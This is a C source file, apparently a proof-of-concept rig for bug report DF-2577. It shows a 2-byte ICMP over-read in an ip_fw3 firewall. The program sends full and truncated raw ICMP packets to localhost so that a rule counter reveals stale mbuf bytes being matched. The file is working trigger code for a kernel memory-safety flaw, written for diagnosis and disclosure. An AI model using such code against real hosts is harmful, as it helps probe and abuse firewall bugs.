DF-2577 / fw3_icmp_oob.c
/* DF-2577 -- ip_fw3_chk ICMP 2-byte mbuf backing-store over-read. * ip_fw3.c:400 does PULLUP_TO(hlen + 4) but :403 reads icmp->icmp_id * (offset hlen+4..hlen+5). A 4-byte ICMP body (ip_len = hlen+4) leaves * icmp_id reading 2 bytes PAST the packet data, sourcing stale mbuf bytes * into dst_port (f_id) used for rule matching. * * Rig: rule "count icmp dst-port 4660" (0x1234). Send via ONE raw socket: * phase 1: full 8-byte echo with icmp_id=0x1234 (legit match, warms the * mbuf residue), * phase 2: short 4-byte ICMP (type/code/cksum only, NO id) x N. * If rule-100 counter grows in phase 2, the firewall matched an icmp_id * that is NOT in the packet -> read from stale mbuf backing store. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> static unsigned short cksum(unsigned short *p, int n) { unsigned long s = 0; while (n > 1) { s += *p++; n -= 2; } if (n) s += *(unsigned char *)p; s = (s >> 16) + (s & 0xffff); s += (s >> 16); return ~s; } static int send_icmp(int s, int shortp, unsigned short id) { struct sockaddr_in dst; struct icmp icq; struct icmp *icp = &icq; int len, n; memset(&icq, 0, sizeof(icq)); if (shortp) { /* only type/code/cksum -- 4 bytes of ICMP, ip_len=24 */ icp->icmp_type = ICMP_ECHO; icp->icmp_code = 0; icp->icmp_cksum = 0; icp->icmp_cksum = cksum((unsigned short *)icp, 4); len = 4; } else { icp->icmp_type = ICMP_ECHO; icp->icmp_code = 0; icp->icmp_id = htons(id); icp->icmp_seq = htons(1); icp->icmp_cksum = 0; /* pad to 32 bytes so full frame same mbuf size class */ memset((char *)icp + 8, 0x41, 24); icp->icmp_cksum = cksum((unsigned short *)icp, 32); len = 32; } memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_len = sizeof(dst); dst.sin_addr.s_addr = htonl(0x7f000001); /* 127.0.0.1 */ n = sendto(s, icp, len, 0, (struct sockaddr *)&dst, sizeof(dst)); if (n < 0) { fprintf(stderr, "sendto: %s\n", strerror(errno)); } return n; } int main(int argc, char **argv) { int s, i, rounds = (argc > 1) ? atoi(argv[1]) : 20; setvbuf(stdout, NULL, _IONBF, 0); s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); if (s < 0) { perror("raw socket"); return 1; } /* warm-up: unrelated short ICMPs first (control residue baseline) */ for (i = 0; i < 5; i++) send_icmp(s, 1, 0); printf("phase 0: 5 short ICMPs sent (control, check counters)\n"); sleep(1); /* phase 1: full echo id=0x1234 */ for (i = 0; i < 5; i++) send_icmp(s, 0, 0x1234); printf("phase 1: 5 full echo (id=0x1234, 32B) sent\n"); sleep(1); /* phase 2: short ICMPs, NO id field at all */ for (i = 0; i < rounds; i++) send_icmp(s, 1, 0); printf("phase 2: %d short (4-byte ICMP) sent\n", rounds); sleep(1); return 0; } |